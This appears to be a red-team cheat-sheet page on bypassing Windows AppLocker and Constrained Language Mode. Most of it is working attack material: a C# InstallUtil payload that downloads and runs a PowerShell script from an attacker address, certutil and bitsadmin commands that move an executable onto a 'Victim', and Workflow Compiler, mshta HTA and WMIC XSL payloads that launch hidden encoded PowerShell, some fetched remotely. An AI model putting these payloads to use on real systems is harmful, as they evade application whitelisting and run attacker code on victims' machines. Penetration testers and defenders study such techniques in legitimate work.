AppLocker Bypass

AppLocker Bypass

• https://github.com/api0cradle/UltimateAppLockerByPassList

• https://www.hackplayers.com/2018/12/english-cor-profilers-bypassing-windows.html

• https://0xdf.gitlab.io/2019/03/15/htb-ethereal-cor.html

• https://gitlab.com/0xdf/ctfscripts/tree/master/rev_shell_dll

• https://habr.com/ru/company/pt/blog/579516/

Enumeration

Check if there are any AppLocker rules:

PS > Get-AppLockerPolicy -Effective -Xml
PS > (Get-AppLockerPolicy -Local).RuleCollections
PS > Get-ChildItem -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\SrpV2 -Recurse

InstallUtil

A combination of AppLocker and CLM bypass:

BypassCLM.cs

using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Configuration.Install;

namespace BypassCLM
{
    class Program
    {
        static void Main(string[] args)
        {
            Console.WriteLine("These aren't the droids you're looking for.");
        }
    }

    [System.ComponentModel.RunInstaller(true)]
    public class Sample : System.Configuration.Install.Installer
    {
        public override void Uninstall(System.Collections.IDictionary savedState)
        {
            string cmd = "IEX(New-Object Net.WebClient).DownloadString('http://10.10.13.37/run.txt')";
            Runspace rs = RunspaceFactory.CreateRunspace();
            rs.Open();
            PowerShell ps = PowerShell.Create();
            ps.Runspace = rs;
            ps.AddScript(cmd);
            ps.Invoke();
            rs.Close();
        }
    }
}

Add a reference for the System.Management.Automation assembly before compilation from path:

C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35

Upload and execute:

Attacker > certutil -encode C:\Users\snovvcrash\Bypass.exe bypass.txt
Victim > bitsadmin /transfer job1 http://10.10.13.37/bypass.txt C:\Windows\System32\spool\drivers\color\bypass.txt
Victim > certutil -decode C:\Windows\System32\spool\drivers\color\bypass.txt C:\Windows\System32\spool\drivers\color\bypass.exe && del C:\Windows\System32\spool\drivers\color\bypass.txt
Victim > C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Windows\System32\spool\drivers\color\bypass.exe

Microsoft.Workflow.Compiler.exe

PS > C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe info.xml payload.txt

info.xml

<?xml version="1.0" encoding="utf-8"?>
<CompilerInput xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Workflow.Compiler">
<files xmlns:d2p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays">
<d2p1:string>payload.txt</d2p1:string>
</files>
<parameters xmlns:d2p1="http://schemas.datacontract.org/2004/07/System.Workflow.ComponentModel.Compiler">
<assemblyNames xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<compilerOptions i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<coreAssemblyFileName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></coreAssemblyFileName>
<embeddedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<evidence xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Security.Policy" i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<generateExecutable xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</generateExecutable>
<generateInMemory xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">true</generateInMemory>
<includeDebugInformation xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</includeDebugInformation>
<linkedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<mainClass i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<outputName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></outputName>
<tempFiles i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<treatWarningsAsErrors xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</treatWarningsAsErrors>
<warningLevel xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">-1</warningLevel>
<win32Resource i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<d2p1:checkTypes>false</d2p1:checkTypes>
<d2p1:compileWithNoCode>false</d2p1:compileWithNoCode>
<d2p1:compilerOptions i:nil="true" />
<d2p1:generateCCU>false</d2p1:generateCCU>
<d2p1:languageToUse>CSharp</d2p1:languageToUse>
<d2p1:libraryPaths xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" i:nil="true" />
<d2p1:localAssembly xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Reflection" i:nil="true" />
<d2p1:mtInfo i:nil="true" />
<d2p1:userCodeCCUs xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.CodeDom" i:nil="true" />
</parameters>
</CompilerInput>

payload.txt

using System;
using System.Diagnostics;
using System.Workflow.Activities;
 
public class Foo : SequentialWorkflowActivity {
      public Foo() {
          Process process = new Process();
          // Configure the process using the StartInfo properties.
          process.StartInfo.FileName = "powershell.exe";
          process.StartInfo.Arguments = "-WindowStyle Hidden -NoP -NoLogo -exec Bypass -enc <BASE64_PWSH_CMD>";
          process.StartInfo.WindowStyle = ProcessWindowStyle.Normal;
          process.Start();
          process.WaitForExit();
      }
}

MSBuild

• https://egre55.github.io/multi-stage-msbuild-applocker-bypass/
• https://github.com/Mr-Un1k0d3r/PowerLessShell

JScript and MSHTA

Full path to .hta file is required:

Cmd > mshta.exe \users\snovvcrash\cmd.hta
Cmd > mshta.exe http://10.10.13.37/cmd.hta

cmd.hta

<html>
<head>
<script language="JScript">
var shell = new ActiveXObject("WScript.Shell");
var res = shell.Run("cmd.exe");
</script>
</head>
<body>
<script language="JScript">
self.close();
</script>
</body>
</html>

WMIC

Cmd > wmic os get /format:"evil.xsl"
Cmd > wmic process get brief /format:"http://10.10.13.37/evil.xsl"

evil.xsl

<?xml version='1.0'?>
<stylesheet version="1.0"
xmlns="http://www.w3.org/1999/XSL/Transform"
xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">
<output method="text"/>
	<ms:script implements-prefix="user" language="JScript">
		<![CDATA[
			var r = new ActiveXObject("WScript.Shell");
			r.Run("powershell.exe -WindowStyle Hidden -NoP -NoLogo -exec Bypass -enc <BASE64_PWSH_CMD>");
		]]>
	</ms:script>
</stylesheet>